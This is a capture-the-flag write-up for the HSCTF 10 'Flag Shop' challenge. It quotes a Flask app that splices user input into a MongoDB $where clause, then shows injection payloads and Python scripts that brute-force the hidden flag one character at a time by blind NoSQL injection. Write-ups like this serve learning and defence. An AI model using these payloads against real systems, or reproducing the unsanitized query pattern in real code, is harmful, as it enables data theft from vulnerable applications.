HSCTF 10 - Flag Shop

by Tiziano-Caruana
June 12, 2023

June 2023 - Blind NoSQL injection

“hsctf pay to win confirmed?”

Prior knowledge: basic web-related knowledge, Burpsuite

Context

We are provided with the link to the website and its corresponding source code. The website appears to be very simple, and the source code is quite short: Screenshot showing the Flag Shop homepage with search bar and table

Content of app.py:

import os
import traceback

import pymongo.errors
from flask import Flask, jsonify, render_template, request
from pymongo import MongoClient

app = Flask(__name__)
FLAG = os.getenv("FLAG")
app.config["SECRET_KEY"] = os.getenv("FLASK_SECRET")
mongo_client = MongoClient(connect=False)
db = mongo_client.database

@app.route("/")
def main():
	return render_template("index.html")

@app.route("/api/search", methods=["POST"])
def search():
	if request.json is None or "search" not in request.json:
		return jsonify({"error": "No search provided", "results": []}), 400
	try:
		results = db.flags.find(
			{
			"$where": f"this.challenge.includes('{request.json['search']}')"
			}, {
			"_id": False,
			"flag": False
			}
		).sort("challenge")
	except pymongo.errors.PyMongoError:
		traceback.print_exc()
		return jsonify({"error": "Database error", "results": []}), 500
	return jsonify({"error": "", "results": list(results)}), 200

if __name__ == "__main__":
	app.run()

So we know that the website uses MongoDB as its (NoSQL) database.

index.html and index.css don’t contain anything interesting, while index.js helps us understand that the buttons are useless and that api/search is the endpoint path used to make the POST request for the search.

Content of index.js:

const search_form = document.getElementById("search-form");
const search_input = document.getElementById("search");
const items = document.getElementById("items");

search_form.addEventListener("submit", function (event) {
	event.preventDefault();
	search(search_input.value);
});

async function search(val) {
	let resp = await fetch("/api/search", {
		method: "POST",
		headers: {
			"Content-Type": "application/json",
		},
		body: JSON.stringify({ search: val }),
	});

	let { error, results } = await resp.json();

	if (error) {
		items.textContent = error;
		return;
	}

	items.innerHTML = "";
	for (let { challenge, price } of results) {
		let row = document.createElement("tr");

		let chall_cell = document.createElement("td");
		chall_cell.textContent = challenge;

		let price_cell = document.createElement("td");
		price_cell.textContent = `$${price}.00`;

		let buy_cell = document.createElement("td");
		let buy_button = document.createElement("button");
		buy_button.textContent = "Buy Flag";
		buy_button.addEventListener("click", function () {
			alert("Not implemented yet!");
		});
		buy_cell.append(buy_button);

		row.append(chall_cell, price_cell, buy_cell);
		items.append(row);
	}
}

search("");

Nothing that we couldn’t have discovered by playing around with the website.

Playing around

A quick analysis of the code would have been enough to understand where the vulnerability lies, but my teammate and I decided to bombard the search field. Everything seems to be working correctly, and searching with an empty textfield returns all results.

The payloads from the PayloadsAllTheThings repository are mostly used for login bypass, while the SSJI payloads don’t seem to do anything.

When we send 0;return true, no result is displayed, while with ';return 'a'=='a' && ''==', the previous query result remains (unexpected behavior, it should give us either a different result or an error).

Stupidly, we didn’t take a look at the logs, but this is what happened if a 500 error code was obtained. Perfect! I only understood this after trying to send the payload to the api/search endpoint with Burp Repeater. We now know for sure that the vulnerability lies in the definition of the query.

@app.route("/api/search", methods=["POST"])
def search():
	if request.json is None or "search" not in request.json:
		return jsonify({"error": "No search provided", "results": []}), 400
	try:
		results = db.flags.find(
			{
			"$where": f"this.challenge.includes('{request.json['search']}')"
			}, {
			"_id": False,
			"flag": False
			}
		).sort("challenge")
	except pymongo.errors.PyMongoError:
		traceback.print_exc()
		return jsonify({"error": "Database error", "results": []}), 500
	return jsonify({"error": "", "results": list(results)}), 200

The if statement and error handling are normal. The only line to analyze is the $where clause.

Exploiting the vulnerability (extended thought process)

The input is directly inserted with an f-string with 0 sanitization. Referring to the MongoDB $where clause documentation, we read:

Use the $where operator to pass either a string containing a JavaScript expression or a full JavaScript function to the query system.

It could be intuitively understood by reading the content of db.flags.find() that the $where clause executes any JavaScript code passed to it.

At this point, I copied the JS code to a code editor. When I have challenges like this, to make things easier for me, I copy the string and try to construct a very simple payload without moving the cursor.

With '); we escaped the string and closed the statement, giving us an SSJI. All that’s left is to get rid of the extra ')' at the end. I wasn’t able to do this (and I don’t think it was possible, but it certainly wasn’t necessary) since I couldn’t use comments. So, I went full monkey mode and just copied the previous function, forming a first test payload:

'); this.challenge.includes(', interpreted as this.challenge.includes(''); this.challenge.includes('') by the program. The output is what we expected and desired, which is to return all results (like a ' OR 1=1).

By testing or reading the documentation, we can discover that this happens because only the last valid condition is computed by the $where clause. This means that we can write anything in the first include, since it won’t be interpreted (something'); this.challenge.includes('):

Burp Suite screenshot showing the result of a request sent with the payload (```something'); this.challenge.includes('```), which returns all the results from the database

While the second one is interpreted (something'); this.challenge.includes('search): Burp Suite screenshot showing that if we include a search parameter in the injected 'include', the query will execute it

So we have the vulnerability, but we cannot directly retrieve the flag since it is excluded from the query (if you’re not sure, please reread the source code). I then tried a payload with a boolean operator (something'); always_true() || this.challenge.includes('something): Burp Suite screenshot showing all challenges result after including an 'or 1==1' before the injected search parameter

This is very useful for searching for a potential attack. We can perform a conditional check on the flag using && this.challenge.includes('flag') to only get results from the flag-shop entity. We can do a first test with the flag format (something'); this.flag.includes('flag{') && this.challenge.includes('flag): Burp Suite screenshot showing result including 'flag{' Burp Suite screenshot showing no result after including a random word as search parameter

We will have to take advantage of this behavior, performing a small brute force to reconstruct the flag character by character. We can now start to construct our payload.

Final payload

Payload used during the CTF

import requests
import urllib3
import string
import urllib
import time
import json
urllib3.disable_warnings()

url = "http://flag-shop.hsctf.com/api/search"
headers={'content-type': 'application/json'}
flag = "flag{"
search = f"kj'); this.flag.includes('{flag}') && this.challenge.includes('flag"


while True:
    for c in string.printable:
        try:
            print(c)
            if c not in ['*','+','.','?','|','&','$', '"', "'", "\\", "|", "/"]:
                search = f"kj'); this.flag.includes('{flag + c}') && this.challenge.includes('flag"
                payload = '{"search": "%s"}' % (search)
                print("connecting to CTF platform...")
                r = requests.post(url, data = payload, headers=headers, timeout=10)
                #print(payload)
                result = json.loads(r.text)
                print(result["results"])
                if bool(result["results"]):
                    print("Found one more char : %s" % (flag+c))
                    flag += c
        except:
            continue

Final payload

import requests
import urllib3
import string
import json
urllib3.disable_warnings()

url = "http://flag-shop.hsctf.com/api/search"
headers={'content-type': 'application/json'}
flag = "flag{"
search = f"kj'); this.flag.includes('{flag}') && this.challenge.includes('flag"


while True:
    for c in string.printable:
        try:
            if c not in ['*','+','.','?','|','&','$', '"', "'", "\\", "|", "/"]:
                search = f"kj'); this.flag.includes('{flag + c}') && this.challenge.includes('flag"
                payload = '{"search": "%s"}' % (search)
                r = requests.post(url, data = payload, headers=headers, timeout=10)
                result = json.loads(r.text)

                if bool(result["results"]):
                    print("Found one more char : %s" % (flag+c))
                    flag += c
                    
        except:
            continue

As you can see, the only difference is that the first payload has more print statements.

This is because, due to the nature of the challenge and the fact that many others were also brute-forcing, the infrastructure became unresponsive for a few seconds, causing exceptions or blocking the request indefinitely.

The ‘print’ statements were only used for debugging (which is unnecessary when the infrastructure is not being bombarded), and in the second payload, I only left those related to the flag search.

if c not in ['*','+','.','?','|','&','$', '"', "'", "\\", "|", "/"]

is used to exclude characters that can cause problems with the payload string or the server, while the try/except is used to avoid losing progress in case of an error.

It was also very useful during the competition because CTRL-C moves on to the next character instead of closing the program.

This way, in case the program got stuck (which happened about ten times during the competition, but not at all when I tried it on the post-competition infrastructure), I would only skip one character instead of having to start over and retrieve the last characters manually.

In this case, I found a very simple blind NoSQL injection, but it is a good challenge if you are new to building custom payloads or have never encountered a blind NoSQL vulnerability before.

Thank you for reading until the end! I am happy to accept any questions or feedback.